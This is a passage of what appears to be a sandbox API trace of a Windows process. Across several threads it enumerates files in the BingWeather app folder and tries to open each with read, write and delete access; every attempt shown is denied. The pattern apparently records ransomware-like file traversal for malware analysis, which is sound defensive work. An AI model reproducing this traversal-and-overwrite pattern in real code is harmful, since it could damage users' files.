	[0082.400] wcscmp (_String1=".", _String2=".") returned 0
	[0082.400] FindNextFileW (in: hFindFile=0x46a6a50, lpFindFileData=0x47154f8 | out: lpFindFileData=0x47154f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7a6fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.400] wcscmp (_String1="..", _String2=".") returned 1
	[0082.400] wcscmp (_String1="..", _String2="..") returned 0
	[0082.400] FindNextFileW (in: hFindFile=0x46a6a50, lpFindFileData=0x47154f8 | out: lpFindFileData=0x47154f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre_background.jpg", cAlternateFileName="")) returned 1
	[0082.400] wcscmp (_String1="fre_background.jpg", _String2=".") returned 1
	[0082.400] wcscmp (_String1="fre_background.jpg", _String2="..") returned 1
	[0082.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4773390
	[0082.400] wcscpy (in: _Dest=0x4773390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images"
	[0082.400] wcscat (in: _Dest=0x4773390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\"
	[0082.400] wcscat (in: _Dest=0x4773390, _Source="fre_background.jpg" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg"
	[0090.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\images\\fre_background.jpg")) returned 0x20
	[0090.631] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg", dwFileAttributes=0x20) returned 0
	[0090.631] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\images\\fre_background.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.631] GetLastError () returned 0x5
	[0090.631] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg", dwFileAttributes=0x20) returned 0
	[0090.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773390) returned 1
	[0090.631] FindNextFileW (in: hFindFile=0x46a6a50, lpFindFileData=0x47154f8 | out: lpFindFileData=0x47154f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre_background.jpg", cAlternateFileName="")) returned 0
	[0090.632] FindClose (in: hFindFile=0x46a6a50 | out: hFindFile=0x46a6a50) returned 1
	[0090.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47154f8) returned 1
	[0090.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8f20) returned 1
	[0090.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d620) returned 1

Thread:
	id = 962
	os_tid = 0x3fc

	[0082.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x46a5f50
	[0082.401] wcscpy (in: _Dest=0x46a5f50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.401] wcscat (in: _Dest=0x46a5f50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.401] wcscat (in: _Dest=0x46a5f50, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0082.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715760
	[0082.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ad84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6a90
	[0082.401] wcscmp (_String1=".", _String2=".") returned 0
	[0082.401] FindNextFileW (in: hFindFile=0x46a6a90, lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ad84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.401] wcscmp (_String1="..", _String2=".") returned 1
	[0082.401] wcscmp (_String1="..", _String2="..") returned 0
	[0082.401] FindNextFileW (in: hFindFile=0x46a6a90, lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd03022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd03022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.html", cAlternateFileName="")) returned 1
	[0082.401] wcscmp (_String1="bootstrap.html", _String2=".") returned 1
	[0082.401] wcscmp (_String1="bootstrap.html", _String2="..") returned 1
	[0082.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4751e80
	[0082.401] wcscpy (in: _Dest=0x4751e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.401] wcscat (in: _Dest=0x4751e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.401] wcscat (in: _Dest=0x4751e80, _Source="bootstrap.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html"
	[0090.628] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0090.630] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.630] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.630] GetLastError () returned 0x5
	[0090.630] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0090.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751e80) returned 1
	[0090.630] FindNextFileW (in: hFindFile=0x46a6a90, lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd2927f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x50cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0090.630] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0090.630] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0090.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eac8
	[0090.630] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.630] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.630] wcscat (in: _Dest=0x491eac8, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js"
	[0090.631] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js")) returned 0x20
	[0090.633] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.633] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.633] GetLastError () returned 0x5
	[0090.633] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0090.633] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eac8) returned 1
	[0090.633] FindNextFileW (in: hFindFile=0x46a6a90, lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd2927f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd4f4d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7b45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0090.633] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0090.633] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0090.633] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32e20
	[0090.633] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0090.633] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0090.633] wcscat (in: _Dest=0x4e32e20, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js"
	[0090.633] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js")) returned 0x20
	[0090.635] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.635] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.635] GetLastError () returned 0x5
	[0090.635] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x20) returned 0
	[0090.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32e20) returned 1
	[0090.635] FindNextFileW (in: hFindFile=0x46a6a90, lpFindFileData=0x4715760 | out: lpFindFileData=0x4715760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd2927f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd4f4d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7b45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0090.635] FindClose (in: hFindFile=0x46a6a90 | out: hFindFile=0x46a6a90) returned 1
	[0090.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4715760) returned 1
	[0090.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5f50) returned 1
	[0090.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477dbf8) returned 1

Thread:
	id = 963
	os_tid = 0xf08

	[0082.402] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0082.402] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.402] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.402] GetLastError () returned 0x5
	[0082.402] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0082.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e730) returned 1

Thread:
	id = 964
	os_tid = 0xf9c

	[0082.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772c90
	[0082.404] wcscpy (in: _Dest=0x4772c90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls"
	[0082.404] wcscat (in: _Dest=0x4772c90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\"
	[0082.404] wcscat (in: _Dest=0x4772c90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\*"
	[0082.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47159c8
	[0082.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\*", lpFindFileData=0x47159c8 | out: lpFindFileData=0x47159c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7b5bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6ad0
	[0082.404] wcscmp (_String1=".", _String2=".") returned 0
	[0082.404] FindNextFileW (in: hFindFile=0x46a6ad0, lpFindFileData=0x47159c8 | out: lpFindFileData=0x47159c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7b5bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.404] wcscmp (_String1="..", _String2=".") returned 1
	[0082.405] wcscmp (_String1="..", _String2="..") returned 0
	[0082.405] FindNextFileW (in: hFindFile=0x46a6ad0, lpFindFileData=0x47159c8 | out: lpFindFileData=0x47159c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EndOfLife", cAlternateFileName="ENDOFL~1")) returned 1
	[0082.405] wcscmp (_String1="EndOfLife", _String2=".") returned 1
	[0082.405] wcscmp (_String1="EndOfLife", _String2="..") returned 1
	[0082.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3b390
	[0082.405] wcscpy (in: _Dest=0x2e3b390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls"
	[0082.405] wcscat (in: _Dest=0x2e3b390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\"
	[0082.405] wcscat (in: _Dest=0x2e3b390, _Source="EndOfLife" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife"
	[0090.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d9e8
	[0090.622] wcscpy (in: _Dest=0x491d9e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife"
	[0090.622] wcscat (in: _Dest=0x491d9e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\"
	[0090.622] wcscat (in: _Dest=0x491d9e8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\*"
	[0090.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0090.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.622] wcscmp (_String1=".", _String2=".") returned 0
